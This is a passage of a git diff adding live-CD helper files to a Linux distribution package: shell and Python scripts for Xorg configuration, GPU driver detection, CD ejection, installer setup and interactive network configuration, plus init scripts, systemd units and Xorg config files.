/etc/X11/xorg.conf +} + +function xorg_edit +{ + is_root &> /dev/null || echo "You are not root. You will only be able to view files." + + local xorgfiles=() file + if (shopt -s nullglob; f=(/etc/X11/xorg.conf.d/*.conf); [[ ${#f[*]} -ne 0 ]] ); then + xorgfiles=( /etc/X11/xorg.conf.d/* ) # let's put all non-dot files; warning for non-conf is below + fi + + if [[ -f /etc/X11/xorg.conf ]]; then + xorgfiles+=( /etc/X11/xorg.conf ) + fi + + if [[ ${#xorgfiles[*]} -eq 0 ]]; then + echo "I can't find any Xorg configuration files." + echo "There's no /etc/X11/xorg.conf or .conf files in /etc/X11/xorg.conf.d/ directory." + echo "Xorg uses autodected settings." + else + echo "These files affect your Xorg configuration." + echo "See http://fedoraproject.org/wiki/Input_device_configuration#xorg.conf.d for more informations." + echo "Select a file to edit or type q and press Enter to quit." + select file in "${xorgfiles[@]}"; do + if [[ -n $file ]]; then + # Not sure about files that don't start with a number and a hyphen - are they used? + if [[ ${file##*.} != "conf" ]]; then + echo "Warning: this file has no .conf suffix and thus will be ignored by Xorg." + press_enter + fi + nano -w "$file" + echo "Select a file to edit or type q and press Enter to quit." + elif [[ $REPLY = "q" || $REPLY = "Q" ]]; then + break + fi + done + fi +} + +clear + +if [[ $1 = "menu" ]]; then + if [[ $EUID -ne 0 ]]; then + echo "This script should be run as root, or by someone in the root group. Some commands will not work for you." 1>&2 + echo "" + fi + menu +elif [[ $1 = "--help" || $1 = "-h" ]]; then + echo "usage:" + echo "$0 - will print some basic system infos" + echo "$0 menu - will show you menu" +else + horner + echo "" + echo "Specify --help or -h to get help." + fi diff --git a/app-misc/rogentoslive-tools/files/1.0/vga-cmd-parser b/app-misc/rogentoslive-tools/files/1.0/vga-cmd-parser new file mode 100644 index 00000000..1e443171 --- /dev/null +++ b/app-misc/rogentoslive-tools/files/1.0/vga-cmd-parser @@ -0,0 +1,53 @@ +#!/usr/bin/python +# Copyright 2008 Fabio Erculiani, Sabayon Linux Chief Architect +# parses vga= parameters from cmdline given by isolinux and returns the right resolution +# Shut up! + +res_map = { + "0x385": ("640x400",24), + "0x312": ("640x480",24), + "0x315": ("800x600",24), + "0x318": ("1024x768",24), + "0x31b": ("1280x1024",24), + "0x330": ("640x400",16), + "0x33E": ("640x400",24), + "0x331": ("640x480",16), + "0x33F": ("640x480",24), + "0x332": ("800x600",16), + "0x340": ("800x600",24), + "0x333": ("1024x768",16), + "0x341": ("1024x768",24), + "0x334": ("1152x864",16), + "0x342": ("1152x864",24), + "0x335": ("1280x960",16), + "0x343": ("1280x960",24), + "0x336": ("1280x1024",16), + "0x344": ("1280x1024",24), + "0x337": ("1400x1050",16), + "0x345": ("1400x1050",24), + "0x338": ("1600x1200",16), + "0x346": ("1600x1200",24), + "0x339": ("1792x1344",16), + "0x347": ("1792x1344",24), + "0x33A": ("1856x1392",16), + "0x348": ("1856x1392",24), + "0x33B": ("1920x1440",16), + "0x349": ("1920x1440",24), + "0x33C": ("2048x1536",16), + "0x34A": ("2048x1536",24) +} + +f = open("/proc/cmdline") +cmdline = f.readline().strip().split() +cmdline.reverse() +for item in cmdline: + if item.startswith("vga="): + item_split = item.split("=") + if len(item_split) == 2: + data = item_split[1] + try: + if res_map.get(data) != None: + print res_map[data][0],res_map[data][1] + break + except TypeError: + pass diff --git a/app-misc/rogentoslive-tools/files/1.0/x-setup-configuration b/app-misc/rogentoslive-tools/files/1.0/x-setup-configuration new file mode 100644 index 00000000..57f1688f --- /dev/null +++ b/app-misc/rogentoslive-tools/files/1.0/x-setup-configuration @@ -0,0 +1,60 @@ +#!/bin/bash + +# get livecd functions +source /sbin/livecd-functions.sh +source /sbin/rogentos-functions.sh + +runtime_linking_proprietary_drivers() { + if [ -d "/lib/nvidia" ] || [ -d "/lib/fglrx" ]; then + current_arch=$(uname -m) + if [ "$current_arch" == "x86_64" ]; then + ld_arch="elf_x86_64" + elif [ "$current_arch" == "i686" ]; then + ld_arch="elf_i386" + fi + lspci_vga=$(lspci | grep ' VGA ') + mount -t tmpfs none /lib/modules/$(uname -r)/video + if [ -n "`echo $lspci_vga | grep -i nvidia`" ]; then + ld -m $ld_arch -r -o /lib/modules/$(uname -r)/video/nvidia.ko /lib/nvidia/nvidia.o /lib/nvidia/nvidia.mod.o + depmod -a &> /dev/null + elif [ -n "`echo $lspci_vga | grep -i ati`" ]; then + ld -m $ld_arch -r -o /lib/modules/$(uname -r)/video/fglrx.ko /lib/fglrx/fglrx.o /lib/fglrx/fglrx.mod.o + depmod -a &> /dev/null + elif [ -n "`echo $lspci_vga | grep -i unknown`" ]; then + ld -m $ld_arch -r -o /lib/modules/$(uname -r)/video/nvidia.ko /lib/nvidia/nvidia.o /lib/nvidia/nvidia.mod.o + ld -m $ld_arch -r -o /lib/modules/$(uname -r)/video/fglrx.ko /lib/fglrx/fglrx.o /lib/fglrx/fglrx.mod.o + depmod -a &> /dev/null + elif [ -z "$lspci_vga" ]; then + ld -m $ld_arch -r -o /lib/modules/$(uname -r)/video/nvidia.ko /lib/nvidia/nvidia.o /lib/nvidia/nvidia.mod.o + ld -m $ld_arch -r -o /lib/modules/$(uname -r)/video/fglrx.ko /lib/fglrx/fglrx.o /lib/fglrx/fglrx.mod.o + depmod -a &> /dev/null + fi + fi +} + +buggy_fglrx_xv_fixup_code() { + # This is a workaround for xv being broken + # on fglrx <12.2, disable Xv in xorg.conf.d + local workaround_file=/usr/share/rogentoslive-tools/xorg.conf.d/90-fglrx-12.1-and-older-workaround.conf + if [ -f "${workaround_file}" ]; then + is_fglrx=$(/bin/lsmod | grep ^fglrx) + if [ -n "${is_fglrx}" ]; then + cp "${workaround_file}" /usr/share/X11/xorg.conf.d + fi + fi +} + +# create seed +rm -f /etc/x-setup-configuration-running +touch /etc/x-setup-configuration-running + +# Prepare Video Cards Proprietary Drivers +if sabayon_is_live; then + runtime_linking_proprietary_drivers +fi +/sbin/gpu-configuration &> /dev/null + +# buggy_fglrx_xv_fixup_code + +# delete seed +rm -f /etc/x-setup-configuration-running diff --git a/app-misc/rogentoslive-tools/files/1.0/x-setup-init.d b/app-misc/rogentoslive-tools/files/1.0/x-setup-init.d new file mode 100755 index 00000000..5b94ec94 --- /dev/null +++ b/app-misc/rogentoslive-tools/files/1.0/x-setup-init.d @@ -0,0 +1,68 @@ +#!/sbin/runscript +# Copyright 2009-2012 Fabio Erculiani - Sabayon Linux +# Distributed under the terms of the GNU General Public License v2 + +depend() { + after mtab + before hostname + before xdm +} + +gpus_same() { + # $1 and $2: output lines from "lspci" + local id1 id2 # [xxxx:]xx:xx.x + local dev1 dev2 # vendor and device: xxxx:xxxx + id1=$(echo "$1" | awk '/ VGA / { print $1 }') + id2=$(echo "$2" | awk '/ VGA / { print $1 }') + if [ -z "$id1" ] || [ -z "$id2" ]; then + return 1 + fi + dev1=$(lspci -s "$id1" -n | awk '{ print $3 }') + dev2=$(lspci -s "$id2" -n | awk '{ print $3 }') + [ "$dev1" = "$dev2" ] +} + +start() { + . /sbin/rogentos-functions.sh + local do_redetect + do_redetect=$(cat /proc/cmdline | grep "gpudetect") + + if sabayon_is_live; then + ebegin "Configuring GPU Hardware Acceleration and Input devices" + start-stop-daemon --start --background --pidfile /var/run/x-setup.pid --make-pidfile --exec /usr/sbin/x-setup-configuration + eend 0 + else + if [ -e /first_time_run ] || [ ! -e /etc/gpu-detector.conf ] \ + || [ -n "$do_redetect" ] || [ ! -f /etc/X11/xorg.conf ]; then + ebegin "Configuring GPU Hardware Acceleration and Input devices for the first time" + # store config file + lspci | grep ' VGA ' > /etc/gpu-detector.conf + /usr/sbin/x-setup-configuration + eend 0 + return + fi + + local lspci_vga stored_vga + local infostr_run="Configuring GPU Hardware Acceleration and Input devices" + local infostr_skip="Skipping GPU Hardware Acceleration and Input devices configuration" + lspci_vga=$(lspci | grep ' VGA ') + stored_vga=$(cat /etc/gpu-detector.conf) + + if [ "$lspci_vga" != "$stored_vga" ] ; then + # Strings are different, let's do the more "heavy" and accurate comparison. + if gpus_same "$lspci_vga" "$stored_vga"; then + # this may happen after vendor changes its name etc. and PCI ID file is updated + ebegin "${infostr_skip}, only updating GPU information file" + else + ebegin "$infostr_run" + /usr/sbin/x-setup-configuration &> /dev/null + fi + + echo "$lspci_vga" > /etc/gpu-detector.conf + eend 0 + return + fi + + einfo "$infostr_skip" + fi +} diff --git a/app-misc/rogentoslive-tools/files/1.0/xorg.conf.d/90-fglrx-12.1-and-older-workaround.conf b/app-misc/rogentoslive-tools/files/1.0/xorg.conf.d/90-fglrx-12.1-and-older-workaround.conf new file mode 100644 index 00000000..54478aa9 --- /dev/null +++ b/app-misc/rogentoslive-tools/files/1.0/xorg.conf.d/90-fglrx-12.1-and-older-workaround.conf @@ -0,0 +1,4 @@ +Section "Extensions" + # This should be hopefully fixed in ati-drivers-12.2 + Option "XVideo" "Disable" +EndSection diff --git a/app-misc/rogentoslive-tools/files/1.0/xorg.conf.d/90-synaptics.conf b/app-misc/rogentoslive-tools/files/1.0/xorg.conf.d/90-synaptics.conf new file mode 100644 index 00000000..245b2458 --- /dev/null +++ b/app-misc/rogentoslive-tools/files/1.0/xorg.conf.d/90-synaptics.conf @@ -0,0 +1,58 @@ +Section "InputClass" + Identifier "touchpad catchall" + Driver "synaptics" + MatchIsTouchpad "on" + MatchDevicePath "/dev/input/event*" + + # No longer needed, see bug 1922#12 + # Option "SHMConfig" "1" + # More harm than good? see bug 1922#12 + # Option "MaxTapMove" "2000" + Option "VertEdgeScroll" "1" + Option "VertTwoFingerScroll" "1" + Option "HorizTwoFingerScroll" "1" + Option "CircularScrolling" "0" + Option "TapButton1" "1" + Option "TapButton2" "2" + Option "TapButton3" "3" + +EndSection + +# Apple MacBook Touchpad +Section "InputClass" + Identifier "touchpad catchall" + Driver "synaptics" + MatchIsTouchpad "on" + MatchDevicePath "/dev/input/event*" + MatchProduct "bcm5974" + Option "ClickFinger1" "1" + Option "ClickFinger2" "3" + Option "ClickFinger3" "2" + Option "HorizEdgeScroll" "0" + Option "VertEdgeScroll" "0" + Option "VertEdgeScroll" "1" + Option "VertTwoFingerScroll" "1" + Option "HorizTwoFingerScroll" "1" + Option "HorizScrollDelta" "0" + Option "VertScrollDelta" "40" + Option "PressureMotionMinZ" "10" + Option "FingerLow" "16" + Option "FingerHigh" "80" + Option "FingerPress" "256" + Option "PalmDetect" "1" + Option "PalmMinWidth" "10" + Option "PalmMinZ" "200" + Option "MinSpeed" "0.8" + Option "MaxSpeed" "1.2" + Option "AccelFactor" "0.10" + Option "MaxTapMove" "25" + Option "MaxTapTime" "223" + Option "MaxDoubleTapTime" "200" + Option "TapButton1" "0" + Option "TapButton2" "0" + Option "TapButton3" "0" + Option "RTCornerButton" "0" + Option "RBCornerButton" "0" + Option "LTCornerButton" "0" + Option "LBCornerButton" "0" +EndSection diff --git a/app-misc/rogentoslive-tools/files/1.0/xorg.conf.rogentos b/app-misc/rogentoslive-tools/files/1.0/xorg.conf.rogentos new file mode 100644 index 00000000..bc6135c3 --- /dev/null +++ b/app-misc/rogentoslive-tools/files/1.0/xorg.conf.rogentos @@ -0,0 +1,100 @@ +Section "Module" + SubSection "extmod" + Option "omit xfree86-dga" + EndSubSection + Load "i2c" + Load "ddc" + Load "vbe" +# Load "dri" +EndSection + + +Section "ServerFlags" + Option "AllowMouseOpenFail" "true" +EndSection + +# ********************************************************************** +# Monitor section +# ********************************************************************** + +# Any number of monitor sections may be present + +Section "Monitor" + Identifier "Generic Monitor" + VertRefresh 43 - 60 + HorizSync 28 - 80 +EndSection + +# ********************************************************************** +# Graphics device section +# ********************************************************************** + +# Any number of graphics device sections may be present + +Section "Device" + Identifier "VESA" + Driver "vesa" # do not remove vesa + #Option "RenderAccel" "on" + #Option "XAANoOffscreenPixmaps" + #Option "BusType" "PCI" + #Option "ColorTiling" "on" + #Option "EnablePageFlip" "on" + Option "UseEvents" "True" +EndSection + + +# ********************************************************************** +# Screen sections. +# ********************************************************************** + +Section "Screen" + +# The Identifier, Device and Monitor lines must be present + + Identifier "Screen 1" + Device "VESA" + Monitor "Generic Monitor" + #Option "AddARGBGLXVisuals" "true" + +# The favoured Depth and/or Bpp may be specified here + + DefaultDepth 24 + + SubSection "Display" + Depth 8 + ViewPort 0 0 + #Modes "1024x768" "800x600" "640x480" + EndSubsection + + SubSection "Display" + Depth 16 + ViewPort 0 0 + #Modes "1024x768" "800x600" "640x480" + EndSubsection + + SubSection "Display" + Depth 24 + ViewPort 0 0 + #Modes "1024x768" "800x600" "640x480" + EndSubsection + + +EndSection + + +Section "ServerLayout" +# The Identifier line must be present + + Identifier "Main Layout" + Screen 0 "Screen 1" + +EndSection + +Section "DRI" + Mode 0666 +EndSection + +Section "Extensions" + #Option "Composite" "Enable" +EndSection + diff --git a/app-misc/rogentoslive-tools/files/2/bashlogin b/app-misc/rogentoslive-tools/files/2/bashlogin new file mode 100644 index 00000000..34689189 --- /dev/null +++ b/app-misc/rogentoslive-tools/files/2/bashlogin @@ -0,0 +1,6 @@ +#!/bin/bash + +cat /etc/motd 2>/dev/null +cd /root +[[ -e .bash_profile ]] && source .bash_profile +exec -l /bin/bash -i diff --git a/app-misc/rogentoslive-tools/files/2/cdeject b/app-misc/rogentoslive-tools/files/2/cdeject new file mode 100644 index 00000000..302a3415 --- /dev/null +++ b/app-misc/rogentoslive-tools/files/2/cdeject @@ -0,0 +1,11 @@ +#!/sbin/runscript + +description="Eject LiveCD/DVD at live system shutdown/reboot" + +depend() { + after * +} + +start() { + /usr/libexec/cdeject.sh +} diff --git a/app-misc/rogentoslive-tools/files/2/cdeject.service b/app-misc/rogentoslive-tools/files/2/cdeject.service new file mode 100644 index 00000000..96f44242 --- /dev/null +++ b/app-misc/rogentoslive-tools/files/2/cdeject.service @@ -0,0 +1,13 @@ +[Unit] +Description=Eject CD/DVD before power off or reboot +DefaultDependencies=no +After=shutdown.target +Before=final.target + +[Service] +Type=oneshot +RemainAfterExit=true +ExecStart=/usr/libexec/cdeject.sh + +[Install] +WantedBy=multi-user.target \ No newline at end of file diff --git a/app-misc/rogentoslive-tools/files/2/cdeject.sh b/app-misc/rogentoslive-tools/files/2/cdeject.sh new file mode 100644 index 00000000..ae75ae84 --- /dev/null +++ b/app-misc/rogentoslive-tools/files/2/cdeject.sh @@ -0,0 +1,12 @@ +#!/bin/bash + +is_live=$(cat /proc/cmdline | grep cdroot) + +if [ -n "${is_live}" ]; then + cdrom_dev=$(cat /proc/mounts | grep " /mnt/cdrom " | cut -d" " -f 1) + # check if /mnt/cdrom device is a cdrom device + if [ "${cdrom_dev}" = /dev/sr* ] || [ "${cdrom_dev}" = /dev/cdrom* ]; then + eject -mp "${cdrom_dev}" &> /dev/null + fi +fi + diff --git a/app-misc/rogentoslive-tools/files/2/installer-gui b/app-misc/rogentoslive-tools/files/2/installer-gui new file mode 100644 index 00000000..5300726d --- /dev/null +++ b/app-misc/rogentoslive-tools/files/2/installer-gui @@ -0,0 +1,15 @@ +#!/sbin/runscript +# Copyright 2004-2013 Sabayon +# Distributed under the terms of the GNU General Public License v2 + +depend() { + before xdm + after rogentoslive + need dbus +} + +start() { + ebegin "Configuring the installer" + /usr/libexec/installer-gui.sh + eend $? +} diff --git a/app-misc/rogentoslive-tools/files/2/installer-gui.service b/app-misc/rogentoslive-tools/files/2/installer-gui.service new file mode 100644 index 00000000..963245ca --- /dev/null +++ b/app-misc/rogentoslive-tools/files/2/installer-gui.service @@ -0,0 +1,12 @@ +[Unit] +Description=Sabayon installer setup +Before=display-manager.service +After=rogentoslive.service + +[Service] +Type=oneshot +RemainAfterExit=true +ExecStart=/usr/libexec/installer-gui.sh + +[Install] +WantedBy=multi-user.target \ No newline at end of file diff --git a/app-misc/rogentoslive-tools/files/2/installer-gui.sh b/app-misc/rogentoslive-tools/files/2/installer-gui.sh new file mode 100644 index 00000000..7636678d --- /dev/null +++ b/app-misc/rogentoslive-tools/files/2/installer-gui.sh @@ -0,0 +1,8 @@ +#!/bin/bash + +. /sbin/rogentos-functions.sh + +if rogentos_is_gui_install; then + rogentos_setup_autologin + rogentos_setup_gui_installer +fi diff --git a/app-misc/rogentoslive-tools/files/2/installer-text b/app-misc/rogentoslive-tools/files/2/installer-text new file mode 100644 index 00000000..faada208 --- /dev/null +++ b/app-misc/rogentoslive-tools/files/2/installer-text @@ -0,0 +1,13 @@ +#!/sbin/runscript +# Copyright 2004-2013 Sabayon Linux +# Distributed under the terms of the GNU General Public License v2 + +depend() { + after * +} + +start() { + ebegin "Configuring the text installer" + /usr/libexec/installer-text.sh + eend $? +} diff --git a/app-misc/rogentoslive-tools/files/2/installer-text.service b/app-misc/rogentoslive-tools/files/2/installer-text.service new file mode 100644 index 00000000..be11d2b7 --- /dev/null +++ b/app-misc/rogentoslive-tools/files/2/installer-text.service @@ -0,0 +1,11 @@ +[Unit] +Description=Sabayon text installer setup +After=rogentoslive.service + +[Service] +Type=oneshot +RemainAfterExit=true +ExecStart=/usr/libexec/installer-text.sh + +[Install] +WantedBy=multi-user.target diff --git a/app-misc/rogentoslive-tools/files/2/installer-text.sh b/app-misc/rogentoslive-tools/files/2/installer-text.sh new file mode 100644 index 00000000..8bb1262b --- /dev/null +++ b/app-misc/rogentoslive-tools/files/2/installer-text.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +. /sbin/rogentos-functions.sh + +if rogentos_is_text_install; then + rogentos_setup_text_installer +fi diff --git a/app-misc/rogentoslive-tools/files/2/livecd-functions.sh b/app-misc/rogentoslive-tools/files/2/livecd-functions.sh new file mode 100644 index 00000000..5e0c4600 --- /dev/null +++ b/app-misc/rogentoslive-tools/files/2/livecd-functions.sh @@ -0,0 +1,635 @@ +#!/bin/bash + +# Global Variables: +# CDBOOT -- is booting off CD +# LIVECD_CONSOLE -- console that is specified on commandline +# -- (ttyS0, etc) Only defined if passed to kernel +# LIVECD_CONSOLE_BAUD -- console baudrate specified +# LIVECD_CONSOLE_PARITY -- console parity specified +# LIVECD_CONSOLE_DATABITS -- console databits specified + +[[ ${RC_GOT_FUNCTIONS} != "yes" ]] && \ + [[ -e /etc/init.d/functions.sh ]] && \ + source /etc/init.d/functions.sh + +# emulating einfo since it's not always available from functions.sh +# FIXME: fix functions.sh +einfo() { + [[ -x "/lib/rc/bin/einfo" ]] && /lib/rc/bin/einfo "${1}"\ + || echo "* ${1}" +} + +livecd_parse_opt() { + case "$1" in + *\=*) + echo "$1" | cut -f2 -d= + ;; + esac +} + +livecd_check_root() { + if [ "$(whoami)" != "root" ] + then + echo "ERROR: must be root to continue" + return 1 + fi +} + +livecd_get_cmdline() { + echo "0" > /proc/sys/kernel/printk + CMDLINE=$(cat /proc/cmdline) + export CMDLINE +} + +no_gl() { +# einfo "If you have a card that you know is supported by either the ATI or" +# einfo "NVIDIA binary drivers, please file a bug with the output of lspci" +# einfo "on http://bugs.gentoo.org so we can resolve this." + GLTYPE=xorg-x11 +} + +ati_gl() { + einfo "ATI card detected." + if [ -e /usr/lib/xorg/modules/drivers/fglrx_drv.so ] \ + || [ -e /usr/lib/modules/drivers/fglrx_drv.so ] + then + GLTYPE=ati + else + GLTYPE=xorg-x11 + fi +} + +nv_gl() { + einfo "NVIDIA card detected." + if [ -e /usr/lib/xorg/modules/drivers/nvidia_drv.so ] \ + || [ -e /usr/lib/modules/drivers/nvidia_drv.so ] + then + GLTYPE=nvidia + else + GLTYPE=xorg-x11 + fi +} + +nv_no_gl() { + einfo "NVIDIA card detected." + echo + if [ -e /usr/lib/xorg/modules/drivers/nvidia_drv.so ] \ + || [ -e /usr/lib/modules/drivers/nvidia_drv.so ] + then + einfo "This card is not supported by the latest version of the NVIDIA" + einfo "binary drivers. Switching to the X server's driver instead." + fi + GLTYPE=xorg-x11 + sed -i 's/nvidia/nv/' /etc/X11/xorg.conf +} + +get_video_cards() { + [ -x /sbin/lspci ] && VIDEO_CARDS="$(/sbin/lspci | grep ' VGA ')" + [ -x /usr/sbin/lspci ] && VIDEO_CARDS="$(/usr/sbin/lspci | grep ' VGA ')" + #NUM_CARDS="$(echo ${VIDEO_CARDS} | wc -l)" + #if [ ${NUM_CARDS} -eq 1 ] # Disabled to support NVIDIA SLI devices + #then + NVIDIA=$(echo ${VIDEO_CARDS} | grep -i "nVidia Corporation") + ATI=$(echo ${VIDEO_CARDS} | grep -i "ATI Technologies") + if [ -n "${NVIDIA}" ] + then + # Always set NVIDIA OpenGL, since it's stupid doing the contrary because: + # there's no X.Org free driver that supports OpenGL through MESA + nv_gl + elif [ -n "${ATI}" ] + then + ATI_CARD=$(echo ${ATI} | awk 'BEGIN {RS=" "} /(R|RV|RS|M)[0-9]+/ {print $1}') + if [ $(echo ${ATI_CARD} | grep S) ] + then + ATI_CARD_OUT=$(echo ${ATI_CARD} | cut -dS -f2) + elif [ $(echo ${ATI_CARD} | grep V) ] + then + ATI_CARD_OUT=$(echo ${ATI_CARD} | cut -dV -f2) + elif [ $(echo ${ATI_CARD} | grep M) ] + then + # ATI Technologies Inc. M52 [ ATI Mobility Radeon X1300 ] + ATI_CARD_OUT=$(echo ${ATI_CARD} | cut -dM -f2) + else + ATI_CARD_OUT=$(echo ${ATI_CARD} | cut -dR -f2) + fi + + if [ -n "${ATI_CARD_OUT}" ] && [ ${ATI_CARD_OUT} -ge 300 ] + then + ati_gl + elif [ -n "${ATI_CARD_OUT}" ] && [ -n "`echo ${ATI_CARD} | grep M`" ] + then + # this is an ATI Mxx card + ati_gl + # >8.29.6 does not support R200 anymore + elif [ -n "${ATI_CARD_OUT}" ] && [ ${ATI_CARD_OUT} -ge 200 ] + then + no_gl + else + # set ATI OpenGL anyway + ati_gl + fi + else + no_gl + fi + #fi +} + +livecd_config_wireless() { + cd /tmp/setup.opts + [ -x /usr/sbin/iwconfig ] && iwconfig=/usr/sbin/iwconfig + [ -x /sbin/iwconfig ] && iwconfig=/sbin/iwconfig + dialog --title "SSID" --inputbox "Please enter your SSID, or leave blank for selecting the nearest open network" 20 50 2> ${iface}.SSID + SSID=$(tail -n 1 ${iface}.SSID) + if [ -n "${SSID}" ] + then + dialog --title "WEP (Part 1)" --menu "Does your network use encryption?" 20 60 7 1 "Yes" 2 "No" 2> ${iface}.WEP + WEP=$(tail -n 1 ${iface}.WEP) + case ${WEP} in + 1) + dialog --title "WEP (Part 2)" --menu "Are you entering your WEP key in HEX or ASCII?" 20 60 7 1 "HEX" 2 "ASCII" 2> ${iface}.WEPTYPE + WEP_TYPE=$(tail -n 1 ${iface}.WEPTYPE) + case ${WEP_TYPE} in + 1) + dialog --title "WEP (Part 3)" --inputbox "Please enter your WEP key in the form of XXXX-XXXX-XX for 64-bit or XXXX-XXXX-XXXX-XXXX-XXXX-XXXX-XX for 128-bit" 20 50 2> ${iface}.WEPKEY + WEP_KEY=$(tail -n 1 ${iface}.WEPKEY) + if [ -n "${WEP_KEY}" ] + then + ${iwconfig} ${iface} essid "${SSID}" + ${iwconfig} ${iface} key "${WEP_KEY}" + fi + ;; + 2) + dialog --title "WEP (Part 3)" --inputbox "Please enter your WEP key in ASCII form. This should be 5 or 13 characters for either 64-bit or 128-bit encryption, repectively" 20 50 2> ${iface}.WEPKEY + WEP_KEY=$(tail -n 1 ${iface}.WEPKEY) + if [ -n "${WEP_KEY}" ] + then + ${iwconfig} ${iface} essid "${SSID}" + ${iwconfig} ${iface} key "s:${WEP_KEY}" + fi + ;; + esac + ;; + 2) + ${iwconfig} ${iface} essid "${SSID}" + ${iwconfig} ${iface} key off + ;; + esac + fi +} + +livecd_write_wireless_conf() { + cd /tmp/setup.opts + SSID=$(tail -n 1 ${iface}.SSID) + if [ -n "${SSID}" ] + then + echo "" >> /etc/conf.d/net + echo "# This wireless configuration file was built by net-setup" > /etc/conf.d/net + WEP=$(tail -n 1 ${iface}.WEPTYPE) + case ${WEP} in + 1) + WEP_TYPE=$(tail -n 1 ${iface}.WEPTYPE) + if [ -n "${WEP_TYPE}" ] + then + WEP_KEY=$(tail -n 1 ${iface}.WEPKEY) + if [ -n "${WEP_KEY}" ] + then + SSID_TRANS=$(echo ${SSID//[![:word:]]/_}) + case ${WEP_TYPE} in + 1) + echo "key_${SSID_TRANS}=\"${WEP_KEY} enc open\"" >> /etc/conf.d/net + ;; + 2) + echo "key_${SSID_TRANS}=\"s:${WEP_KEY} enc open\"" >> /etc/conf.d/net + ;; + esac + fi + fi + ;; + 2) + : + ;; + esac + echo "preferred_aps=( \"${SSID}\" )" >> /etc/conf.d/net + echo "associate_order=\"forcepreferredonly\"" >> /etc/conf.d/net + fi +} + +livecd_config_ip() { + cd /tmp/setup.opts + dialog --title "TCP/IP setup" --menu "You can use DHCP to automatically configure a network interface or you can specify an IP and related settings manually. Choose one option:" 20 60 7 1 "Use DHCP to auto-detect my network settings" 2 "Specify an IP address manually" 2> ${iface}.DHCP + DHCP=$(tail -n 1 ${iface}.DHCP) + case ${DHCP} in + 1) + /sbin/dhclient -q -r -nw ${iface} & + ;; + 2) + dialog --title "IP address" --inputbox "Please enter an IP address for ${iface}:" 20 50 "192.168.1.1" 2> ${iface}.IP + IP=$(tail -n 1 ${iface}.IP) + BC_TEMP=$(echo $IP|cut -d . -f 1).$(echo $IP|cut -d . -f 2).$(echo $IP|cut -d . -f 3).255 + dialog --title "Broadcast address" --inputbox "Please enter a Broadcast address for ${iface}:" 20 50 "${BC_TEMP}" 2> ${iface}.BC + BROADCAST=$(tail -n 1 ${iface}.BC) + dialog --title "Network mask" --inputbox "Please enter a Network Mask for ${iface}:" 20 50 "255.255.255.0" 2> ${iface}.NM + NETMASK=$(tail -n 1 ${iface}.NM) + dialog --title "Gateway" --inputbox "Please enter a Gateway for ${iface} (hit enter for none:)" 20 50 2> ${iface}.GW + GATEWAY=$(tail -n 1 ${iface}.GW) + dialog --title "DNS server" --inputbox "Please enter a name server to use (hit enter for none:)" 20 50 2> ${iface}.DNS + DNS=$(tail -n 1 ${iface}.DNS) + /sbin/ifconfig ${iface} ${IP} broadcast ${BROADCAST} netmask ${NETMASK} + if [ -n "${GATEWAY}" ] + then + /sbin/route add default gw ${GATEWAY} dev ${iface} netmask 0.0.0.0 metric 1 + fi + if [ -n "${DNS}" ] + then + dialog --title "DNS Search Suffix" --inputbox "Please enter any domains which you would like to search on DNS queries (hit enter for none:)" 20 50 2> ${iface}.SUFFIX + SUFFIX=$(tail -n 1 ${iface}.SUFFIX) + echo "nameserver ${DNS}" > /etc/resolv.conf + if [ -n "${SUFFIX}" ] + then + echo "search ${SUFFIX}" >> /etc/resolv.conf + fi + fi + ;; + esac +} + +livecd_write_net_conf() { + cd /tmp/setup.opts + echo "# Sabayon Linux static network configuration tool" > /etc/conf.d/net + DHCP=$(tail -n 1 ${iface}.DHCP) + case ${DHCP} in + 1) + echo "config_${iface}=\"dhcp\"" >> /etc/conf.d/net + echo "dhcp_${iface}=\"nosendhost\"" >> /etc/conf.d/net + ;; + 2) + IP=$(tail -n 1 ${iface}.IP) + BROADCAST=$(tail -n 1 ${iface}.BC) + NETMASK=$(tail -n 1 ${iface}.NM) + GATEWAY=$(tail -n 1 ${iface}.GW) + DNS="$(tail -n 1 ${iface}.DNS)" + DOMAIN="$(tail -n 1 ${iface}.SUFFIX)" + if [ -n "${IP}" -a -n "${BROADCAST}" -a -n "${NETMASK}" ] + then + echo "config_${iface}=\"${IP} netmask ${NETMASK} broadcast ${BROADCAST}\"" >> /etc/conf.d/net + if [ -n "${GATEWAY}" ] + then + echo "routes_${iface}=\"default via ${GATEWAY}\"" >> /etc/conf.d/net + fi + if [ -n "${DNS}" ] + then + echo "dns_servers_${iface}=\"${DNS}\"" >> /etc/conf.d/net + fi + if [ -n "${DOMAIN}" ] + then + echo "dns_search_${iface}=\"${DOMAIN}\"" >> /etc/conf.d/net + fi + fi + ;; + esac +} + +get_ifmac() { + local iface=$1 + + # Example: 00:01:6f:e1:7a:06 + cat /sys/class/net/${iface}/address +} + + +get_ifdriver() { + local iface=$1 + + # Example: ../../../bus/pci/drivers/forcedeth (wanted: forcedeth) + local if_driver=$(readlink /sys/class/net/${iface}/device/driver) + basename ${if_driver} +} + +get_ifbus() { + local iface=$1 + + # Example: ../../../bus/pci (wanted: pci) + # Example: ../../../../bus/pci (wanted: pci) + # Example: ../../../../../../bus/usb (wanted: usb) + local if_bus=$(readlink /sys/class/net/${iface}/device/bus) + basename ${if_bus} +} + +livecd_rev_string() { + # See Sabayon #2522, cannot use /usr/bin/rev because + # /usr might not be mounted + local copy=${1} + len=${#copy} + for((i=$len-1;i>=0;i--)); do rev="$rev${copy:$i:1}"; done + echo ${rev} +} + +get_ifproduct() { + local iface=$1 + local bus=$(get_ifbus ${iface}) + local if_pciaddr + local if_devname + local if_usbpath + local if_usbmanufacturer + local if_usbproduct + + if [[ ${bus} == "pci" ]] + then + # Example: ../../../devices/pci0000:00/0000:00:0a.0 (wanted: 0000:00:0a.0) + # Example: ../../../devices/pci0000:00/0000:00:09.0/0000:01:07.0 (wanted: 0000:01:07.0) + if_pciaddr=$(readlink /sys/class/net/${iface}/device) + if_pciaddr=$(basename ${if_pciaddr}) + + # Example: 00:0a.0 Bridge: nVidia Corporation CK804 Ethernet Controller (rev a3) + # (wanted: nVidia Corporation CK804 Ethernet Controller) + if_devname=$(lspci -s ${if_pciaddr}) + if_devname=${if_devname#*: } + if_devname=${if_devname%(rev *)} + fi + + if [[ ${bus} == "usb" ]] + then + if_usbpath=$(readlink /sys/class/net/${iface}/device) + if_usbpath=/sys/class/net/${iface}/$(dirname ${if_usbpath}) + if_usbmanufacturer=$(< ${if_usbpath}/manufacturer) + if_usbproduct=$(< ${if_usbpath}/product) + + [[ -n ${if_usbmanufacturer} ]] && if_devname="${if_usbmanufacturer} " + [[ -n ${if_usbproduct} ]] && 